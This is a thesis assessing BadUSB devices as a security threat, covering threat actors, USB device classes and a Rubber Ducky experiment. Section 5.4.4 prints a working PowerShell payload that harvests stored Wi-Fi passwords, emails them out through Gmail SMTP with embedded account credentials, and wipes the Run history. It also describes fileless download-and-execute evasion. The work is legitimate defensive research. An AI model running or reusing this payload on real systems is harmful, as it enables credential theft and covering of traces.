Assessing the threat posed by USB devices

Christopher Ekström
Assessing the threat posed by USB devices

Christopher Ekström

Abstract

The introduction of the USB standard in 1996 made life easier for users, by removing the need for different hardware connectors and custom drivers, as well for manufacturers of computer peripherals, who no longer had to develop new drivers for each new peripheral.

But, as is often the case with new technology, it did not take long for people to start using this ill purposes.

Publicly available in 2010, the Rubber Ducky device introduced the concept of BadUSB, which is a device that looks like a specific kind of USB device but acts as another in order to enable hacking into an IT-system.

From being an extremely expensive technique, mostly used by state actors, BadUSB devices can now be bought on the Internet, or manufactured at home, for a few dollars. This means that actors like criminal ransomware groups, activists or teenage hackers can, and will, use the technique.

This thesis explores why systems are being hacked with BadUSB, and if this is a realistic cyber security threat to users and organisations.

Since there are some commercially available BadUSB products on the market the ambition was to use them with a scientific approach, to see if the technique is a realistic IT-security threat.

This was done through four experiments, using different devices, scenarios, and targeting different aspects of information security policies.

The results shows that BadUSB is indeed a highly realistic threat, which is proved both by the experiments and known real-life incidents.

Of note is that organisations do not even have to be high value targets, targets could just be selected by random.

While the existence of BadUSB devices should be well known within the cyber security community, the findings of this thesis should be something that all organisations using portable media, such as USB flash drives, should be aware of.
5.5.4 Risk of detection ........................................ 32
5.5.5 Protection against the attack ............................. 32
5.5.6 Other observations .................................... 32
5.5.7 Assessment ........................................... 32

5.6 USBKill ..................................................... 33
5.6.1 Overview .............................................. 33
5.6.2 Known limitations ..................................... 33
5.6.3 Experiment: Using a USBKill to DOS a computer ... 33
5.6.4 Realisation ............................................ 33
5.6.5 Risk of detection ..................................... 37
5.6.6 Protection against the attack ......................... 37
5.6.7 Other observations ................................... 37
5.6.8 Assessment ......................................... 37

5.7 Cactus WHID .............................................. 38
5.7.1 Overview .............................................. 38
5.7.2 ESPloit Script ....................................... 39
5.7.3 Known limitations ................................... 40
5.7.4 Experiment: Using a Cactus WHID to exfiltrate classified information via Wi-Fi ............... 40
5.7.5 Risk of detection ..................................... 42
5.7.6 Protection against the attack ......................... 42
5.7.7 Other observations ................................... 42
5.7.8 Assessment ......................................... 43

6 Discussion .................................................. 44
6.1 Why are systems being hacked in the first place? .. 44
6.2 What is the advantages with BadUSB compared to other hacking methods? ......................... 44
6.3 Is there any easy ways to protect oneself against BadUSB attacks? 44
6.4 Is BadUSB a realistic cyber security threat? ....... 45

7 Conclusions .................................................. 45

List of Figures ................................................ 46

References ..................................................... 47
Glossary

**attack vector** Path or means by which an attacker can gain access to a computer in order to deliver a payload or malicious outcome. 8

**loot** Data or information extracted from the targeted system via hack. For example by using a BadUSB device. 13, 25, 27, 40

**payload** Malware that is delivered through the BadUSB device. 20, 21

**SD-card** Secure Digital (non-volatile memory card. Often used in digital cameras och mobile phones.. 20

Acronyms

**2FA** Two-factor authentication. 42

**AV** Antivirus. 8, 13, 24, 32

**COTS** Commercial off-the-shelf. 8, 35, 45

**DoS** Denial of Service. 33

**FTP** File Transfer Protocol. 40

**GPO** Group Policy Object. A collection of Windows policy settings.. 44

**HID** Human Interface Device (usually a keyboard or mouse). 8, 20, 24, 32, 42, 44

**OS** Operating System. 20, 44

**SSD** Solid State Disk). 26

**SSID** Service Set Identifier (the name of a wifi network). 23, 38

**USB** Universal Serial Bus. 8, 17, 24, 25, 32, 33, 34, 35, 37, 40, 42, 44, 45

**Wi-Fi** IEEE 802.11 wireless network protocols. 5, 6, 13, 17, 22, 23, 38, 40, 44
1 Introduction

First launched in 1996 the USB (Universal Serial Bus) 1.0 standard started to replace a multitude of interfaces for computer peripherals. This essentially made things easier for both the developers, who needed a more versatile and faster interface, and for the users that only needed one type of interface and a limited installation procedure for each new device. Today, there exist 16 different classes of USB devices (see section 4.1), with a vast amount of different applications[1].

In the early 2000’s the first USB flash drives appeared on the market, implementing the USB device class 0x08 Mass Storage[1]. Flash drives quickly replaced previous used floppy drives to move and store information from the computer[2]. Just like it’s predecessor, the floppy drive, the USB flash drive started being used to spread malware[3].

With added security in the operating systems, and more competent Antivirus (AV) engines, the threat from malware on USB flash drives gradually decreased. But in 2010 hackers found another way to leverage the USB standard in order to attack IT systems. This attack vector is called BadUSB. BadUSB is not malware per se but it can be used to distribute or inject malware into a computer or an IT-system. More specifically a BadUSB device uses its own hardware and firmware to attack the system. This attack will pose a challenge for an AV engine to stop, since the scan function of an AV engine is primarily designed to inspect files on an accessible data storage area on a drive.

A common form of attack is for a malicious BadUSB peripheral to take the appearance of a USB flash drive, but act as a different USB device (e.g. keyboard) when inserted into a computer. One of the first commonly known BadUSB devices was the Rubber Ducky (see section 5.4), that looks like a flash drive but can act as a keyboard (a device of USB class 0x03: HID).

With the Rubber Ducky it is possible to automatically insert keystrokes into a computer. But why is that interesting? In order to really understand why these kind of devices exist and how they can be used, one must first understand who would use them - and why.

This thesis will try and answer the following questions:

- Why are systems being hacked in the first place?
- What are the advantages with BadUSB compared to other hacking methods?
- Are there any easy ways to protect oneself against BadUSB attacks?
- Is BadUSB a realistic cyber security threat?

In order to answer the questions above it’s important to actually use and experiment with some BadUSB technology. It would be technically possible to build some custom BadUSB hardware, but likely not within the timeframe for this thesis. However, there are some easily accessible Commercial off-the-shelf (COTS) products that have been acquired and used for some experimentation within the scope for this thesis.
Structure. This thesis will start with section 2 by looking at why there is a need and a will to protect digital information, and who are the potential antagonists? In section 3, we will look at some of the hacking methods that can be used by the antagonists in order to get the information, and also some basic protection against the methods.

Section 4, presents parts of the USB standard that are relevant to BadUSB. Following this is the main, and most important part, the BadUSB experimentation in section 5.

In section 6 there is a brief discussion about the findings of the experimentation conducted in section 5, in conjunction with the theories described in sections 2 to 4.

Last, in section 7, the report will draw some conclusions from the above discussion, with regard to the research questions.
2 Information security

2.1 Introduction

Today it’s said that we are living in the information or digital age, having instant access to a vast amount of information and digitalising more and more of our daily services. This also means that society is increasingly dependant on access to a digital infrastructure to use services relying on this information[4, p. 9]. This leads to the domain of information security. Information security is the practice of protecting information, regardless of the information being physical or digital. Though in this thesis the focus is purely on digital information.

This protection is provided with respect to the following aspects (“the CIA triad”)\(^5\) [p. 27]:

1. Confidentiality, meaning to protect the information from unauthorised disclosure\(^5\) [p. 26].

2. Integrity, meaning to protect the information from unauthorised changes, i.e. that the information keeps its intended meaning\(^5\) [p. 26].

3. Availability, meaning to guarantee timely and uninterrupted access to the system and information\(^5\) [p. 26].

The intentional compromise of digital information in regards to the above aspects is usually the result of hacking and/or some kind of malware (intentional or unintentional). For an action to be intentional, there must be actors and motives\(^6\) [p. 2]. In the next section we will look closer at the aspects of hacking and malware.

2.2 Threats and motives

Depending on the threat actor the goal of gaining unauthorised access to a system might be:

- DoS (Denial of service) - Targeting Availability
  - Force target to pay ransom (commercial motives)
  - Prevent target to use system (competitive/military motives)

- Altering information - Targeting Integrity
  - Make target distrust the information (military motives)
  - Alter information in order to cover up a crime (criminal motives)

- Extracting information - Targeting Confidentiality
  - Spying (commercial/military motives)
  - Using information for a larger or later attack (any motive)
This is just a general view of information security threat actors. Looking at the list above, it’s easy to see that threat actors will vary depending on the intended target and motive. The motives and threat actors can be similar regardless of the target being a company, organisation or a state. Targeted hardware based threats, such as BadUSB, are by nature created by an antagonistic actor, and not by accident.

2.3 Threat actors

The main antagonistic threat actors:

<table>
<thead>
<tr>
<th>Threat actor</th>
<th>Potential motives</th>
<th>Target</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>State</td>
</tr>
<tr>
<td>Foreign state</td>
<td>Geopolitical</td>
<td>X</td>
</tr>
<tr>
<td>Competing organisation</td>
<td>Economical</td>
<td>X</td>
</tr>
<tr>
<td>Criminal group</td>
<td>Economical</td>
<td>X</td>
</tr>
<tr>
<td>Idealist</td>
<td>Ideological</td>
<td>X</td>
</tr>
<tr>
<td>Insider</td>
<td>Discontent</td>
<td>X</td>
</tr>
</tbody>
</table>

Table 1: Example of threat actors, for different targets

Some notable real world examples of antagonistic attacks

- State - State: One of the most famous USB air gap attacks to this day when USA/Israel attacked the Iranian nuclear program with a malware called Stuxnet[7].

- State - Organisation: In order to spread disinformation the Russian foreign-intelligence agency (GRU) attacked the Swedish Sports Confederation[8].

- Organisation - Organisation: Procter & Gamble admitted to espionage of its competitor Unilever in order to get hold of trade secrets[9].

- Criminal group - State: Ransomware attack against Kalix, a Swedish municipality, rendering most IT systems useless[10].

- Criminal group - Organisation: Ransomware attack against the software company Kesaya, taking out the IT systems of about 200 companies, including the Swedish super market chain Coop[11].

- Insider - State: Former CIA contractor Edward Snowden leaked 1.5 million secret files to the public[12].

- Insider - Organisation: Corporate insider threats account up to 60-80% of the data loss[13]. In 2021 four lawyers were accused for stealing client data and other sensitive information from their former employer, with the intent to use that information at their new employer[14].
3 Hacking

3.1 What is hacking?

For a threat actor, with a motive, to be able to achieve its goal there must also be a mean. Often this mean is to gain unauthorised access to the system. There are several ways to gain unauthorised access to a system, when it is done electronically it is often referred to as hacking[15, p. 22]. There are many methods to hack into a system, some examples being:

- Stealing user or system credentials from the system
- Finding and exploiting software vulnerabilities (bugs) in the system or its components
- Injecting malware into the system (often by an unknowing user)

These can often be used in combination, and there are multiple technical solutions for each method. For example stealing credentials can be done with phishing e-mails, injecting a keylogger via malware or using a vulnerability/bug in the operating system.

3.2 Protection against hacking

To protect a system from hacking is a complex process which, for instance, includes reviewing processes and methods, conduct software patching, user training and adding/configuring technical systems like firewalls and intrusion protection systems (IPS). A system administrator needs to try and handle all potential attack vectors, while a hacker only need one unhandled vulnerability to gain access to the system.

To put it simply, protection against hacking means securing all interaction points between the system (and its applications) and a human or other system (and applications). Some examples being:

<table>
<thead>
<tr>
<th>System interaction</th>
<th>Protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Network (for example the Internet)</td>
<td>Firewall</td>
</tr>
<tr>
<td>Human (for example via HID devices)</td>
<td>User authentication</td>
</tr>
<tr>
<td>Portable media (for example a flash drive)</td>
<td>Antivirus</td>
</tr>
</tbody>
</table>

Table 2: Example of system interactions and protective measure

Since this thesis is about hacking systems specifically using BadUSB not all protective measures are of importance for discussion. However even BadUSB attacks need to take some protective measures into consideration in order to have a reasonable chance of success.
3.2.1 Antivirus

Antivirus has been around since the mid-eighties, and is a technique controlling files on the system, including on portable media, by looking for known signatures of malware. Some antivirus engines (AV engines) can also detect suspicious behaviour in programs running on the system. AV engines generally make it harder to inject malware into a system, for instance by downloading infected files from a network, or inserting files into the system via portable media[16].

Since one potential payload of BadUSB attacks is malware, an attacker needs to take this in account when planning the attack.

3.2.2 Firewalls

Firewalls are, together with antivirus, probably the most common security components in a modern network, including home networks. The firewall can be incorporated in a modern Wi-Fi router, or a separate network component. The job of a firewall is to protect against unwanted traffic to/from specific IP-addresses on specific protocols and/or ports.

Firewalls will not stop a BadUSB attack per se, but it can make operations more difficult by impeding downloads from the internet or by hindering the online sending of stolen sensitive information (popularly referred to as ”loot”). In the Rubbery Ducky experiment (see section 5.4), the script sends the loot using e-mail (Secure SMTP, i.e. port 587, on a specific SMTP-server) which could been prevented with a firewall rule.

3.2.3 Using air-gaps

A way to protect highly sensitive IT-systems, for instance military systems, is to ”air gap” the system. Air gapping is to remove any other physical network connection to other systems, including the Internet [5, p. 225]. The thought of this is to force an attacker to have physical access to the network in order to attack it, for instance via an insider. Attacking air gapped network is therefore much harder but, as history has proved, not impossible. The most known example is probably the Stuxnet attack against Natanz uranium enrichment plant in Iran - targeting the Iranian nuclear weapons program[17, p. 12].

Another challenge with the air gapped network is that it is a lot harder to bring out loot, since that too needs to be done without any network interconnection. There are some basic, known ways of extracting information from air-gapped and stand alone computers. These usually involve electromagnetic or acoustic signals, from the computer, screen or power cords. In order to minimise the risk of information leaks there are construction requirements that must be followed in military IT systems. In Sweden this standard is called RÅS ("Röjande Signaler") and in most other countries it is called TEMPEST.[5, p. 308-309]

Israeli computer scientists have proved, on a lab level, that information can be extracted by using what they call ”covert channels”, covert channels are ways that are not handled by the standards mentioned above. In an experiment
they proved that information could be transmitted, from a hacked air-gapped
network to a cell phone lying in the vicinity of the computer, by using fan
induced vibrations picked up by the cell phones accelerometer[18]. As shown in
the experiment in section 5.5 BadUSB can be used as another covert channel.

3.3 Using BadUSB to target air-gaps

As mentioned in the introduction, BadUSB is an active hacking method. This
is in contrast to accidentally getting a USB flash drive infected by malware, and
then unknowingly spreading the malware. It’s not primarily used for random
ransomware attacks, but exceptions do occur for high value targets when other
methods fail[19]. One reason might be that BadUSB actually comes with a
hardware cost, and also involves some manual labor in deploying the hardware
to the potential targets.

But for air-gapped systems, where there are not many attack vectors avail-
able - especially not attacks that are easily automated, BadUSB plays a role as
a possible vector. Fact is that all known attacks against air gapped networks
during the last 15 years were done by USB portable media [7, p. 4]. Note that
there is a difference between using USB flash drives with malware, and BadUSB
devices. Both look and feels the same, but where the ordinary USB flash drive
has a bad content on its file system which can be caught by an AV engine, the
BadUSB device has a malicious hardware feature that can cause damage to the
system and that will be harder to catch by traditional AV engines.
4 The USB standard, in a BadUSB context

The Universal Serial Bus (USB) is a set of standard for communication between computers and peripherals. The standards includes cables, with connectors, and communication protocols. USB 1.0 released in 1996 was then followed up by several new standards with associated connectors and cables. In 2022 the most used standards are USB 2.0 (revised) and USB 3.1. [1, p. 1-7]

USB specifications are regulated by the USB Implementors Forum (USB IF), a non-profit corporation with membership open to everyone developing USB products [1, p. 7].

All devices used in this thesis are using the USB A connector, because no BadUSB device with a USB C connector was found when planning the experiments. A USB C connector would be needed in order to utilise the USB 3.2 and 4.0 standards.

<table>
<thead>
<tr>
<th>Standard</th>
<th>USB 1.0 1995</th>
<th>USB 1.1 1998</th>
<th>USB 2.0 2001</th>
<th>USB 2.0 Revised</th>
<th>USB 3.0 2008</th>
<th>USB 3.1 2013</th>
<th>USB 3.2 2017</th>
<th>USB 4 2019</th>
</tr>
</thead>
<tbody>
<tr>
<td>Maximum transfer rate</td>
<td>12 Mbps</td>
<td>480 Mbps</td>
<td>5 Gbps</td>
<td>10 Gbps</td>
<td>20 Gbps</td>
<td>40 Gbps</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Type A connector</td>
<td>Type A</td>
<td>Type A</td>
<td>SuperSpeed</td>
<td>Deprecated</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Type B connector</td>
<td>Speed</td>
<td>Type B</td>
<td>SuperSpeed</td>
<td>Deprecated</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Type C connector</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>SuperSpeed</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>Mini-A connector</td>
<td>N/A</td>
<td>Mini-A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>Mini-B connector</td>
<td>N/A</td>
<td>Mini-B</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>Mini-AB connector</td>
<td>N/A</td>
<td>Mini-AB</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>Micro-A connector</td>
<td>N/A</td>
<td>Micro-A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>Micro-B connector</td>
<td>N/A</td>
<td>Micro-B</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>Micro-AB connector</td>
<td>N/A</td>
<td>Micro-AB</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
</tbody>
</table>

Figure 1: Available connectors for different USB standards (source Wikipedia)

4.1 Device classes

There are 16, USB IF approved, device classes. The class describes the basic functionality of the device, for instance Mass Storage (0x08), where that class
functionality applies for a number of different peripherals. For instance; an external hard drive, a flash thumb drive and an external DVD-player are all Mass Storage devices, and can use the same USB driver. Though all devices can’t always use all functionality within the driver. Most operating systems come with pre-installed drivers for the most common device classes. In the USB protocol the device class is represented by 8 bit class code[1, p. 165-167].

Why do device classes matter? Since it is impossible to look at the connector to see what kind of peripheral it is, a user can only look at the physical appearance of the peripheral and assume what kind it is. I.e. it looks like a flash drive so it is probably a flash drive. The device class code is what the device will actually identify as to the OS, and depending on the drivers what kind of functionality it will get access to. If the device sends the HID class code it will be treated by the OS as a HID device. The specific kind of HID device is determined by the Descriptor sent to the OS, which will include a field called the Interface Protocol (0x01 for a keyboard, 0x02 for a mouse)[1, p. 265-269].

A USB device can identify as one or more device classes at the same time, if the peripheral includes more than one it’s called a ”compound device” (having a built in USB hub) or ”composite device” (using only one address on the bus). An example of a composite device could be a webcam (video is device class 0x0E) with a built-in microphone (using device class 0x01)[1, p. 16-20].

Below are the most interesting device classes for this thesis.

4.1.1 0x03 Human Interface (HID)
HID devices are typically keyboard and mice, devices used by a human to control the actions of the computer. There are, however, a wide range of other peripherals that identify as HID devices such as barcode readers, gaming devices and remote controls.

4.1.2 0x08 Mass Storage
A mass storage device is something that can store data. The USB interface will provide the operating system with a standardised method of reading and writing to the device, regardless of the underlying method of storing data. The operating system does not need to know if the underlying storage is a flash drive, floppy disc, CD/DVD or a magnetic tape. The device will send to the OS some general information of what kind of storage it is, whether the device is writable or not, total size of the storage and how much free space that is available. So if the device has something stored in some kind of storage area on the device it can just present itself as a mass storage device and that store area will be exposed to the OS and the system.

4.1.3 0xEF Miscellaneous
The miscellaneous device class includes a few reserved categories of USB device types that doesn’t fit into the other defined classes. Examples of this are
industrial cameras (USB3 Vision) and handheld device to PC synchronisation devices[1, p. 202]..

Since there is no specific class for USB Wi-Fi adapters, these are also a sub-category of the miscellaneous device class. An adapter can be developed with a device specific driver, but more common is to use the Windows developed protocol USB Remote Network Driver Interface Specification (RNDIS). This protocol use the miscellaneous class code 0xEF, with the subcode 0x04 (Protocol: 0x01: RNDIS over Ethernet). This will create a virtual Ethernet link over the 802.11 Wi-Fi protocol. Even though RNDIS is a Microsoft proprietary protocol it’s still supported by a number of other operating systems.

4.1.4 Example of a BadUSB using HID and mass storage

Suppose a small hidden memory is placed inside of a computer mouse. To the user the device will just look as an ordinary mouse, but when inserted into a computer, the device will identify itself as both a HID device and a mass storage device to the OS. If the attacker then has placed a autorun.inf file on the root filesystem on the exposed area this could, in early versions of Windows, be used to auto run specific files on the mass storage device, for instance installing malware or hacking tools. This is a relatively crude way to use BadUSB and will not work in a modern, patched and secured OS. It also has the risk of an AV software intercepting the malware files on the device, when exposed to the OS. But it serves as an example of how BadUSB can be used in principle.

4.2 Power

Power is not a device class per se, but it’s an important part of the USB design specification. A USB cable, regardless of USB version, provides ground (GND) and power (VBUS) at 5V. A USB device can rely on an external power supply and/or USB power. Depending on the USB version it can provide currents up to 500mA (2.5W) at USB 2.0 or 900mA (4.5W) at USB 3.1. If the device needs more power than that it can complement the power supply with external power[1, p. 376-378]. The USB power can also be used for charging or powering non USB devices, provided that they have a suitable USB connector. A device doesn’t need a USB chipset in order to utilise the 5V current coming out from the USB port.

USB power can also be used in a BadUSB attack, as shown in chapter 5.6.
5 Experimentation

In order to answer the question whether the BadUSB is a realistic threat experiments will be conducted with a number of commercially available BadUSB devices. This will also make it possible to answer the question about protective measures.

5.1 Methodology

In order to simulate a realistic antagonistic threat, with realistic motives, the overarching goal for all experiments is to attack a target computer, targeting a specific aspect of the CIA-triad (see page 10) using different methods. Each BadUSB device will try to leverage a different USB device class (see section 4.1). One of the experiments should attack an air gapped system.

All experiments should be:

- Easily reproducible, step by step, with included source code.
- As discreet/hidden as possible for the user
- Hard to catch for AV engines

5.2 Devices

The following devices will be used in the experimentation, along with the CIA-triad aspect and intended USB device class to leverage.

<table>
<thead>
<tr>
<th>Hardware</th>
<th>Device type</th>
<th>Information security threat</th>
</tr>
</thead>
<tbody>
<tr>
<td>Rubber Ducky</td>
<td>HID (See 4.1.1)</td>
<td>Confidentiality (See 2.1 p 1)</td>
</tr>
<tr>
<td>Cactus WHID Injector</td>
<td>Wi-fi (See 4.1.3)</td>
<td>Integrity (See 2.1 p 2)</td>
</tr>
<tr>
<td>Bash Bunny</td>
<td>Mass storage (See 4.1.2)</td>
<td>Confidentiality (See 2.1 p 1)</td>
</tr>
<tr>
<td>USB Kill</td>
<td>Power¹ (See 4.2)</td>
<td>Availability (See 2.1 p 3)</td>
</tr>
</tbody>
</table>

Table 3: Experimentation allocation matrix

For each experiment there will be a brief assessment of the risk of detection, the potential of protecting the system against an attack and a general assessment of the device is a realistic threat to a system.

When talking about the risk of detection this does not take into account the graphical appearance of the commercial devices such as prints and texts. The reason for this is that there exist a wide range of other brands with the exact same functionality, and it would also be very easy to replace the casings with a 3D printed casing, as long as the electronics fitting within the boundaries of what would ”normal” for the peripheral that it is trying to look like.

¹Not a device class but part of the USB specification
5.3 Payloads

3 of the 4 BadUSB devices used in the thesis have the ability to carry a software/script payload into the target system.

5.3.1 Using EXE-files as payload

A classic way to execute malicious code is by putting it into an OS executable file, in the Windows context this usually means an .EXE-file.

Early experimentation showed that creating compiled executables to extract/alter/delete information was quite simple, the problem was hiding the it from AV engines - or making the malicious code so diluted or obfuscated so that the AV engine didn’t recognise the code as a known threat.

Downloading the compiled file from an Internet source came with two problems. Firstly, an Internet connection is needed (which isn’t the case if the target system is air gapped), and firewall rules must allow the download. Secondly, the size of the executable can take too long to download to avoid detection.

And even when downloading a script/executable it will reside (temporarily) on disk, where an AV engine might find it when called to execute by the BadUSB device.

So the conclusion was not to use EXE-files in the experiments.

5.3.2 Using Powershell as payload

Powershell was introduced into Windows in 2006, and is a scripting language with the possibility to do most things in Windows. On the surface it looks like a combination between Linux bash-script and Visual Basic/VB.NET/VBA. Most scripting is made through *cmdlets* (commandlets) which are lightweight commands/executables that typically return a powershell object that can be passed on to another cmdlet.

Experimentation showed that it is easy to script almost anything, it does not create any heavy executables that can be picked up by an AV engine.

To further improve the chances of not being stopped by an AV engine, experimentation proved that it was better to type the commands (with BadUSB posing as a HID device) than to execute complete script files. An AV engine can not distinguish from text written by a user on a physical keyboard, and text written by a BadUSB device, since both utilise the same USB standard of sending information to the OS.

Short commands are best executed at the windows run-prompt (Windows+R), with the parameters "-w hidden" but there is a 259 characters limit for this. This will only show a quick flashing window. For longer commands the option is to open a new powershell window and enter the script into it. This, however, is not very discrete if a user is sitting at the computer watching the screen.

Another limitation is that Powershell only, natively, works on Windows. On the other hand, if using executables it is also necessary to know what OS the target is running.
5.4 Rubber Ducky

5.4.1 Overview

The Rubber Ducky was introduced in 2010 [20] and is basically a USB stick that emulates a keyboard (a non-composite HID device). The Rubber Ducky uses a simple scripting language called Ducky Script, where commands can be executed and strings can be sent to the OS as typed on a regular keyboard. The payload, i.e. the Ducky Script, resides on an internal SD-card that will not be exposed to the operating system, meaning that it will not be visible in Windows Explorer or to an AV engine. To change the script the SD-card must be put into a computer with a SD-card reader.

There are also a lot of Rubber Ducky-copies on the market, and several instructions on how to build your own (for a couple of US dollars).

5.4.2 Ducky Script

Ducky Script is a very simple scripting language, consisting of only a small amount of commands (though growing).

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>REM</td>
<td>Comment line</td>
</tr>
<tr>
<td>STRING</td>
<td>Will send the string to the keyboard buffer</td>
</tr>
<tr>
<td>CMD</td>
<td>Will send the character combined with the Windows Command button</td>
</tr>
<tr>
<td>GUI</td>
<td>Alias for CMD</td>
</tr>
<tr>
<td>ENTER</td>
<td>Sends an enter character to the keyboard buffer</td>
</tr>
<tr>
<td>DELAY</td>
<td>Waits a number of milliseconds before continuing the script</td>
</tr>
</tbody>
</table>

Table 4: Ducky Script language reference of some useful commands

Below is a very simple script that sends the Windows Key + R, opening the Windows Run prompt (see section 5.3.2) in order to start the Notepad application.

REM This is the sample Ducky script
GUI R
STRING notepad.exe
ENTER

Before the script is placed on the Rubber Ducky it has to be compiled into binary format by a Ducky Script compiler.

5.4.3 Known limitations

Since the Rubber Ducky is basically a keyboard with some internal storage, the same results can be achieved by an attacker with physical access to the computer.
and keyboard of the logged in user. This means that the limiting factors will be
group policies, antivirus, firewall configurations and access control for the user
logged in. If the user has the privileges to install new software on the client this
can still be a severe threat.

The Rubber Ducky has no other internal storage than a small space for the
payload script, so it can not carry something within to install. So the software
or script must be downloaded from an external source on a network or from
the Internet. Downloading scripts or software may lead to the download being
captured by an antivirus engine, especially if the download is a known piece of
malware.

Another limitation for the Rubber Ducky is that no results from executing
malware can be stored inside the device, if an attacker wants to get information
it needs to be sent through a network or via the Internet.
5.4.4 Experiment: Using a Rubber Ducky with script to extract Wi-Fi passwords

<table>
<thead>
<tr>
<th>Payload:</th>
<th>Binary file with keystrokes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Computer:</td>
<td>Home PC with Windows 10 (patched)</td>
</tr>
<tr>
<td>User:</td>
<td>Logged on local user without administrative privileges²</td>
</tr>
<tr>
<td>Network connection:</td>
<td>Yes</td>
</tr>
<tr>
<td>Firewall:</td>
<td>Windows Firewall</td>
</tr>
<tr>
<td>Antivirus:</td>
<td>Windows Antivirus</td>
</tr>
</tbody>
</table>

Scenario

This simple malware will e-mail the attacker all the stored Wi-Fi networks with corresponding passwords from the targeted computer. This information can then be used by the attacker to connect by Wi-Fi to the targeted network and make a more advanced attack from within the network.

Realisation

In the first iteration of the experiment the script was put directly into the Ducky Script and sent to a Powershell window. This works, but entering the script through keystrokes takes a few seconds. With the Powershell window being open, and text ”magically” appearing into it, meaning that everything is quite visible to a user sitting at the computer.

The script is too long to be entered into a single Windows Run-command (see section 5.3.2), so in order to hide the execution the script could be fetched from an outside source in order to minimise HID input. At the same time it would be potentiality hazardous to save a script file to the disk, risking an antivirus to pick up a signature. Ideally the whole Ducky Scripted command would fit into one Windows Run-command and running the resulting Powershell window in hidden mode.

A solution to not save the Powershell script to disk is to put it online on a web server, then use a cmdlet (see section 5.3.2), to download it as a text string - then pass the entire string directly (without saving it) to another cmdlet, Invoke-Expression (IEX), that will evaluate and execute the source as a Powershell command.

```
```

Since there is no way to hide the Windows run flashing on the screen, a user might open windows run again and see the recent history, which will show the command just executed. The history is stored in the Windows Registry, which is possible to alter through Powershell. Therefore the last command in the script will delete all windows run history.

²The experiment was successful both with and without administrative privileges
Final Powershell payload

In Powershell it is possible to list all stored Wi-Fi networks using the netsh command. When having the SSID it is possible to run netsh once again to show the password in clear text.

```powershell
$szBody=''; # Clear the future e-mail body, overkill since new powershell window

# 1) Extract all rows from netsh with a Wifi profile
# 2) Split on newline to get the rows into an array
# Do for each object (wifi network) in the array
foreach ($szRow in (netsh wlan show profiles | findstr /C:'All User Profile').
    Split([Environment]::NewLine)) {
    # Isolate the SSID
    $szSSID = ($szRow.Split(':')[[1]]).Trim();

    # Use netsh on the SSID to show the password in clear text, isolate it via split
    $szPassword = \n        (netsh wlan show profiles '$szSSID' key=clear | findstr /C:'Key Content').
            Split(':'[[1]].Trim();

    # Add a row to the message body containing the SSID and the password
    $szBody = $szBody + $szSSID.toString() + ': ' + $szPassword.toString() + 
        [Environment]::NewLine;
}

# Create a new SMTP object, use Gmail as SMTP-server, via SSL (port 587)
$smtpclient = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587);

# Login credentials to the gmail account created for the demonstration
$smtpclient.credentials = New-Object System.Net.NetworkCredential('hunna.hack.test@gmail.com','V{d+2dv:QGzA.@F');

# Make sure SSL is used for the transmission
$smtpclient.EnableSSL = $true;

# Execute the send, with the body created above containing SSID:s and passwords
$smtpclient.Send('hunna.hack.test@gmail.com', 
    'christopher.ekstrom@hunna.eu', 
    'Stolen wifi passwords', 
    $szBody);

# Remove all history from the windows run command
Remove-Item \
    -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" \
    -Recurse
```
**Final Ducky Script**

REM Send the short key for executing a windows run-command
GUI R
REM Start a new (hidden) Powershell with the command download the contents of a file, REM then interpret the contents as a powershell command and execute it (IEX)
ENTER

**5.4.5 Risk of detection**

The normal behaviour when inserting a USB drive into a Windows PC would be that a new drive shows in Explorer, since the Rubber Ducky is only a HID device this will not happen. In addition, the Windows tray may show a popup with information about a new HID device detected. This may raise suspicions that something is wrong or that the USB device is broken. Also, when the script is executing, the user will see a quick flash of a (Powershell) window. But as soon as the script has executed it will be too late to remove the USB device and prevent the attack.

**5.4.6 Protection against the attack**

A Rubber Ducky attack could be prevented by Windows asking for a on screen verification when adding a second keyboard to the system - i.e. write some characters/numbers on the screen and ask the new HID device to enter them. There are also some AV engines that implement this feature.

**5.4.7 Other observations**

The Rubber Ducky is in effect another keyboard connected to the computer. Windows is built for having one keyboard at the time connected, this means that language settings for the keyboard set in Windows will be used on everything coming from the Rubber Ducky as well. If the keyboard language in Windows and the language code used in the Ducky Script do not correspond the script might not work.

Also current Caps Lock state will be used for the input from the Rubber Ducky, this will case reverse everything in the Ducky Script file. This will most likely not change everything, since Powershell is case insensitive. But during the experimentation it showed that the download of the wifi.txt script file failed, because the web server hosting the file was case sensitive.
5.4.8 Assessment

The device looks and feels very much like a normal USB flash drive.

Since the device lacks internal storage for a payload, other than the Ducky Script, or for storing loot this device is particularly ill-suited to hack air-gapped networks/computers - if not for the initial phase of a more advanced hack.

The Rubber Ducky attack by a downloaded Powershell script is definitely a realistic threat to Internet connected computers. The downloaded script is only limited to what Powershell can do, which is virtually anything in Windows. So just change the script to something else, and the Ducky Script will execute it. Since the script is never downloaded and saved to disk, even temporarily, an AV engine will have a hard time stopping it.

